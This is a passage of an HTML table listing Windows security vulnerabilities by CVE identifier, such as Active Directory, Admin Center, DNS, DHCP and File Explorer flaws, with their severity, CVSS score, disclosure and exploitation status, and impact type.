  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
